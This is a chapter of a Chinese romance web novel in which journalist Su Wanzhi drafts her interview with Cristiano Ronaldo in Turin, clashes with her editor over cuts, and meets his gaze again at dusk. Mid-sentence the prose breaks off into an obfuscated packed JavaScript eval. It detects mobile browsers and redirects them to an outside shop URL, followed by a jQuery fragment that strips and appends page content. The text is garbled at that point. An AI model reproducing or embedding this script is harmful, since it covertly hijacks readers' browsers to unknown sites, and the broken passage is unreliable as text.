回到酒店房间，苏晚栀做的第一件事是开窗。


    波河的风涌进来，带着水汽和远处咖啡店的香气。她没开空调，任由汗水浸湿后背。笔记本电脑在桌上嗡嗡启动，屏幕亮起时，她看见自己映在黑色屏保上的脸，头发被风吹乱，眼睛亮得反常。


    张月把相机放在沙发上：“我先传照片，你写稿？”


    “嗯。”苏晚栀坐下，插上录音笔数据线。


    文件传输的进度条缓慢爬升。她起身泡茶，酒店提供的茶包是廉价红茶，她撕开两个一起扔进杯子，滚水冲下去，浓烈的涩味弥漫开来。


    “你要熬夜？”张月问。


    “把初稿赶出来。”苏晚栀吹开茶沫，“程老师要得急。”


    其实是借口。


    她知道此刻不写，那些鲜活的细节就会在记忆里褪色，他说话时拇指无意识摩挲食指关节的细微动作，提到“黄昏加练”时突然柔软下来的语气，还有最后那个关于“火”的比喻出口时，他眼中一闪而过的震动。


    录音文件终于传输完毕。她戴上耳机，点击播放。


    “不太好。” 他的声音从耳机里流淌出来，带着电流过滤后的沙哑，“时差还在。而且这里比马德里安静，安静得让人不习惯。”


    苏晚栀敲下第一个字。


    《黄昏时，他走进都灵》


    标题跳出来时，她停顿了片刻。


    这不是计划中的标题，程老师想要的是《独家专访C罗：33岁，新征程》之类的标准格式。但她的手指自有主张。


    她先从环境写起。晨光中的训练基地，空荡的采访室，以及他推门进来时身上淡淡的古龙水味。这些细节在新闻报道里通常会被删减，但她固执地保留下来。文字是有气味的，她想，读者应该闻到那个早晨的真实气息。


    写到“养老”那个问题时，她停下来喝了口茶。茶已经凉了，涩味更重。耳机里正好放到他那段回答：


    “在意甲，33岁是黄金年龄...意甲不相信天赋，意甲相信纪律、战术、经验。”


    她还原了他的语气，那不是防御性的反驳，而是一种冷静的自信。写到“我会适应，或者说得更准确点，我会找到新的方式”时，她加了一段注释：


    “他说这话时，手指在膝盖上轻轻敲击，像在无声地打着节拍。这是他在确认某件事时的习惯动作，一种内在节奏的外化。”


    这不是客观报道该有的内容。


    但她记得大学新闻系教授说过：最高级的真实，是呈现人物内心的地貌。


    张月修图的间隙凑过来看：“你写得太细了，程老师肯定会删。”


    “让他删。”苏晚栀头也不抬。


    写到世界杯话题时，她听见耳机里自己的声音有一丝不易察觉的颤抖。而他的回应像一把精准的手术刀：


    “十九岁、二十五岁、三十三岁……每一次出局，我都对自己说同样的话：我会回来，我会变得更强。”


    她把这部分对话完整保留，包括之后关于“可能性”的阐述。那是采访中最出乎意料的时刻，他主动提到了黄昏加练，提到了空球场里漂浮的“可能性”。她甚至写到了他当时的手势：右手在空气中划出看不见的轨迹，像在勾勒那些可能性的形状。


    黄昏时再来吧。


    耳机里，他的声音再次响起。


    苏晚栀敲键盘的手指顿了顿。


    她没写这句话。


    也没写他最后那个关于“等亮灯”的评论。这些太私人了，像某种秘密的邀约，不适合出现在新闻报道里。


    但她在另一份文档里记下了这一切。


    那是她私人的笔记，标题是《都灵日记》。


    在这个完全属于她的空间里，她写道：


    “他认出我了。不是作为《体育周刊》记者苏晚栀，而是昨晚那个坐在长椅上的陌生女人。这是一种双重确认，我看见了球场外的他，他也看见了观察者的我。


    这是一种危险的平衡。记者应该是一面透明的玻璃，但当他开始注视玻璃背后的倒影时，透明就变成了双向镜。”


    保存，加密。她回到新闻稿。


    最后一部分是关于“火”的对话。她仔细还原了那段交锋，包括他最后的沉默。写完时，窗外已是黄昏。夕阳把波河染成金红色，远处安联球场的白色顶棚开始亮灯。


    张月把修好的照片发给她：“这张最好。”


    是C罗站在窗边的侧影。晨光从他身后漫过来，勾勒出肌肉的轮廓。他望着窗外的训练场，眼神专注得像在阅读一首诗。


    苏晚栀把这张照片插在文章开头。


    稿子写完时晚上七点。她发给程老师，附言：“这是初稿，您看看结构是否需要调整。”


    等待回复的间隙，她下楼吃饭。酒店餐厅人不多，她坐在靠窗的位置，点了一份意面。叉子卷起面条时，她看见电视上正在播放体育新闻。


    画面是尤文训练基地。C罗在练习任意球，球划出弧线钻入网窝。镜头推近，他脸上没有表情，只是走过去捡起球，再次摆好。


    “...首次合练表现积极...”解说员的声音淹没在餐厅的嘈杂里。


    苏晚栀低头看手机。邮箱没有新邮件，程老师还没回复。她点开社交媒体，发现尤文图斯官方账号更新了一组训练图。其中一张是C罗和队友的合影，他笑着，露出标准的八颗牙微笑。


    和早晨那个眼神深邃的男人判若两人。


    回到房间时，程老师的回复来了：“文笔很好，但太文学化了。需要精简，重点放在转会动机和赛季目标上。另外，‘火’那段比喻删掉，不够客观。”


    苏晚栀看着那行字，胸口发闷。


    她回复：“收到。明天改好发您。”


    但没有立即动手修改。她走到窗边，望着河对岸的安联球场。此刻它通体发光，像一座水晶宫殿。她想起他说“黄昏时，球场才真正活着”。


    手机震动。是托马西发来的邮件，礼貌地询问稿件进度，并提醒发表前需要审核。


    她回复：“初稿已完成，正在内部审核。明天发送给您。”


    放下手机，她继续望着球场。暮色渐深，球场灯光在夜色中愈发耀眼。几个小黑点在场内移动，是工作人员在布置场地，还是...


    她拿起床头柜的望远镜。廉价望远镜成像模糊，但足以看清球场内部有几个身影在跑动。其中一个穿着黑白训练服，动作频率明显快于其他人。


    心脏突然跳得快了些。


    她放下望远镜，在房间里踱步。程老师要的修改很简单，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955424|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    删减细节，突出干货。两小时就能完成。


    但她的脚走向衣柜，拿出运动服。


    “你要出去？”张月从浴室探头。


    “散步。”苏晚栀系好鞋带。


    “稿子不改了？”


    “回来再改。”


    电梯下行时，她看着镜中的自己——头发随意扎起，素颜，穿着普通的运动装。不像记者，倒像本地大学生。


    波河的风比白天凉。她沿着河岸慢跑，像无数都灵市民一样。但穿过一座桥后，她转向了安联球场的方向。


    广场上比昨晚热闹。有游客拍照，有情侣散步，还有一群少年在踢球。同样的塑料球门，但踢球的不是昨晚那群孩子。


    苏晚栀在同样的长椅坐下。


    这一次，她没等多久。


    员工通道的门开了。一个身影走出来，穿着训练服，提着运动包。帽子压得很低，但步态无法伪装。


    他径直走向广场边缘的停车场，但中途停了下来。弯腰，捡起滚到脚边的足球。踢回给那些少年。


    少年们没认出他，用意大利语道谢。他点点头，继续走向停车场。


    但在拉开车门的前一秒，他回头了。


    目光越过广场，准确地落在她坐的长椅上。


    隔着百米夜色，苏晚栀感觉心脏停跳了一拍。


    他停顿了三秒。然后，做了一件出乎意料的事，不是上车离开，也不是走过来打招呼。他只是抬起手，腕表在路灯下反光，示意时间。


    接着指了指球场方向。


    最后，指了指她。


    三个动作，行云流水。然后他上车，引擎轰鸣，黑色SUV汇入车流。


    苏晚栀坐在长椅上，手指紧紧抓着边缘。


    他认出她了。而且用一套无声的手语，传递了一个信息：


    “黄昏时，球场见。”


    但她不确定，这是一个邀请，还是一个测试。


    手机在口袋里震动。程老师发来信息：“速回电话，有急事。”


    她最后看了一眼SUV消失的方向，然后接通电话。


    “晚栀，”程老师的声音严肃，“报社刚接到消息，明天尤文图斯有个慈善活动，C罗会参加。我们需要一篇侧记，你准备一下。”


    “好的。”她说，眼睛还望着空荡的街道。


    “还有，稿子改得怎么样了？”


    “马上改。”她说，“一小时后发您。”


    挂断电话，她慢慢走回酒店。房间里的电脑还亮着，光标在“火”那段文字后闪烁。


    她选中那段文字，按下滑鼠右键。


    “火”的段落被剪下，粘贴到一个新文档里。而新闻报道里，只剩下冷静的问答。


    但那个新文档的标题，她改成了《黄昏见》。


    加密，保存。


    此刻她不知道的是，城市另一端的公寓里，有人正看着手机屏幕上的稿件预览，那是托马西提前发给他审核的版本。


    C罗的目光落在被删减的“火”的段落原本该在的位置，笑了笑。


    然后回复托马西：


    “可以发表。但标题换成她原来的那个。”


    顿了顿，又补上一句：


    “明天的慈善活动，给她留个前排位置。”